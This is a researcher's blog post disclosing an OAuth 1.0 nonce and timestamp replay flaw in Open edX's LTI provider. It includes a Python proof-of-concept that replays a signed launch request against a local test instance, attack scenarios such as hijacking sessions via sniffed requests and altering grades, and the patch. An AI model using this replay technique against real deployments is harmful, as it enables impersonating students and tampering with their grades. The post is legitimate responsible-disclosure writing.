June 11, 2026
I Found a Critical OAuth Vulnerability in Open edX — Here’s How It Happened
CVE-2026–53636 | CVSS 4.7 Moderate | Affecting 45M+ users worldwide
Abdurrahim Jamalzada
3 min read
A Little Background
I'm Abdurrahim Jamalzada, a security researcher from Azerbaijan. A few weeks ago, while reviewing the Open edX LMS codebase, I stumbled upon something that immediately caught my attention — a function that was supposed to validate OAuth requests but was doing absolutely nothing.
This is the story of how I found CVE-2026–53636, reported it responsibly, and worked with the Open edX security team to get it patched.
What is Open edX?
Before diving in, let me give you some context. Open edX is the open-source platform that powers edX.org — the online learning platform co-founded by Harvard and MIT. It is used by thousands of universities, corporations, and governments worldwide, serving over 45 million learners.
When a vulnerability affects Open edX, it doesn't just affect one website. It affects every institution that has deployed the platform on their own servers — and there are thousands of them.
The Discovery
While reviewing the LTI (Learning Tools Interoperability) Provider implementation, I came across this function in lms/djangoapps/lti_provider/signature_validator.py:
python
def validate_timestamp_and_nonce(self, client_key, timestamp, nonce,
request, request_token=None,
access_token=None):
return Truedef validate_timestamp_and_nonce(self, client_key, timestamp, nonce,
request, request_token=None,
access_token=None):
return TrueThat's it. One line. return True. Unconditionally.
For anyone familiar with OAuth 1.0, this is immediately alarming. The OAuth specification requires servers to do two critical things:
- Reject requests with an
oauth_timestampolder than ±5 minutes - Store and check
oauth_noncevalues to prevent replay attacks
Open edX was doing neither.
What is a Replay Attack?
Imagine you are sitting in a university café. A student connects to the Wi-Fi and launches their LTI course. Their browser sends a signed HTTP request to the server — containing their identity, their course, and an OAuth signature.
You capture that request.
Now you send the exact same request — same signature, same nonce, same timestamp — to the server. The server accepts it. You are now authenticated as that student. You can access their courses, their grades, their assignments.
That is a replay attack. And it was completely possible on every Open edX installation running Ulmo v21.0.x.
Proof of Concept
I wrote a simple Python script to confirm the vulnerability:
python
#!/usr/bin/env python3
import requests
from oauthlib.oauth1 import Client, SIGNATURE_HMAC_SHA1, SIGNATURE_TYPE_BODY
BASE_URL = "http://local.openedx.io"
CONSUMER_KEY = "testkey123"
CONSUMER_SECRET = "testsecret456"
url = f"{BASE_URL}/lti_provider/courses/course-v1:Test+LTI+2026/<block_id>"
payload = {
'lti_message_type': 'basic-lti-launch-request',
'lti_version': 'LTI-1p0',
'resource_link_id': 'test_resource_123',
'user_id': 'student1',
'roles': 'Student',
}
client = Client(CONSUMER_KEY, client_secret=CONSUMER_SECRET,
signature_method=SIGNATURE_HMAC_SHA1,
signature_type=SIGNATURE_TYPE_BODY)
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
uri, signed_headers, signed_body = client.sign(url, http_method='POST',
body=payload, headers=headers)
# Request 1 — legitimate
r1 = requests.post(url, data=signed_body, headers=headers, allow_redirects=False)
print(f"Request 1: {r1.status_code}") # 200 OK
# Request 2 — REPLAY (exact same signed body)
r2 = requests.post(url, data=signed_body, headers=headers, allow_redirects=False)
print(f"Request 2: {r2.status_code}") # 200 OK — VULNERABILITY CONFIRMED#!/usr/bin/env python3
import requests
from oauthlib.oauth1 import Client, SIGNATURE_HMAC_SHA1, SIGNATURE_TYPE_BODY
BASE_URL = "http://local.openedx.io"
CONSUMER_KEY = "testkey123"
CONSUMER_SECRET = "testsecret456"
url = f"{BASE_URL}/lti_provider/courses/course-v1:Test+LTI+2026/<block_id>"
payload = {
'lti_message_type': 'basic-lti-launch-request',
'lti_version': 'LTI-1p0',
'resource_link_id': 'test_resource_123',
'user_id': 'student1',
'roles': 'Student',
}
client = Client(CONSUMER_KEY, client_secret=CONSUMER_SECRET,
signature_method=SIGNATURE_HMAC_SHA1,
signature_type=SIGNATURE_TYPE_BODY)
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
uri, signed_headers, signed_body = client.sign(url, http_method='POST',
body=payload, headers=headers)
# Request 1 — legitimate
r1 = requests.post(url, data=signed_body, headers=headers, allow_redirects=False)
print(f"Request 1: {r1.status_code}") # 200 OK
# Request 2 — REPLAY (exact same signed body)
r2 = requests.post(url, data=signed_body, headers=headers, allow_redirects=False)
print(f"Request 2: {r2.status_code}") # 200 OK — VULNERABILITY CONFIRMEDResult:
[*] Sending Request 1...
[+] Request 1 status: 200
[*] Sending Request 2 (REPLAY - same nonce/timestamp/signature)...
[+] Request 2 status: 200
[!] REPLAY ATTACK CONFIRMED: Same nonce/timestamp accepted twice![*] Sending Request 1...
[+] Request 1 status: 200
[*] Sending Request 2 (REPLAY - same nonce/timestamp/signature)...
[+] Request 2 status: 200
[!] REPLAY ATTACK CONFIRMED: Same nonce/timestamp accepted twice!The Impact
This vulnerability opens the door to several real-world attack scenarios:
Session Hijacking — An attacker on the same network captures a student's LTI launch request via ARP poisoning or passive sniffing, then replays it to authenticate as the victim.
Grade Manipulation — If the captured request includes a lis_result_sourcedid parameter, an attacker can replay it to alter another student's grade.
Unauthorized Course Access — Paid or restricted courses using LTI authentication can be accessed for free by replaying a captured request from a legitimate user.
CVSS v3.1 Score: 4.7 (Moderate) Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
Responsible Disclosure
On May 11, 2026, I sent a detailed report to the Open edX security team at security@openedx.org. Within hours, I received a confirmation that they would investigate.
Three weeks later, on June 1, they reached out to let me know they were ready to publish the fix and asked if I needed more time within my requested 90-day window. I confirmed we could proceed and requested that a CVE identifier be assigned before public disclosure.
The team responded quickly — they requested the CVE through their CNA contacts and pointed me to the GitHub Security Advisory at GHSA-6gm5-c49g-p3h9. They also associated my GitHub profile (@AbdurrahimJamal) as the reporter on the advisory.
CVE-2026–53636 was officially assigned.
This entire process — from report to CVE to patch — took less than 30 days. The Open edX security team was professional, responsive, and genuinely appreciated the responsible disclosure approach.
The Fix
The solution is straightforward. The validate_timestamp_and_nonce function needs to:
- Reject requests with a timestamp older than ±5 minutes
- Store each nonce in the database
- Reject any nonce that has been seen before
python
import time
from lms.djangoapps.lti_provider.models import LtiNonce
def validate_timestamp_and_nonce(self, client_key, timestamp, nonce,
request, request_token=None,
access_token=None):
# Reject stale timestamps
if abs(time.time() - int(timestamp)) > 300:
return False
# Reject duplicate nonces
if LtiNonce.objects.filter(nonce=nonce, timestamp=timestamp).exists():
return False
# Store the nonce
LtiNonce.objects.create(nonce=nonce, timestamp=timestamp)
return Trueimport time
from lms.djangoapps.lti_provider.models import LtiNonce
def validate_timestamp_and_nonce(self, client_key, timestamp, nonce,
request, request_token=None,
access_token=None):
# Reject stale timestamps
if abs(time.time() - int(timestamp)) > 300:
return False
# Reject duplicate nonces
if LtiNonce.objects.filter(nonce=nonce, timestamp=timestamp).exists():
return False
# Store the nonce
LtiNonce.objects.create(nonce=nonce, timestamp=timestamp)
return TrueThe patch was included in the Verawood release of Open edX.
What I Learned
This was my first CVE, and the experience taught me more than any course ever could.
Finding a vulnerability in a platform used by Harvard, MIT, and millions of learners around the world was humbling. But more importantly, going through the full responsible disclosure process — writing a proper report, communicating professionally with a security team, requesting a CVE, and waiting patiently for the patch — showed me what real security research looks like.
If you are just starting out in security research, my advice is simple: read the code. Not just tutorials, not just CTF challenges — real, production code. That is where the real vulnerabilities live.
References
- GitHub Advisory: GHSA-6gm5-c49g-p3h9
- CVE: CVE-2026–53636
- OAuth 1.0 Nonce Specification: https://oauth.net/core/1.0/#nonce
- Open edX Security Policy: https://openedx.org/security/
Abdurrahim Jamalzada — Security Researcher GitHub: @AbdurrahimJamal abdurrahimjamalzada@gmail.com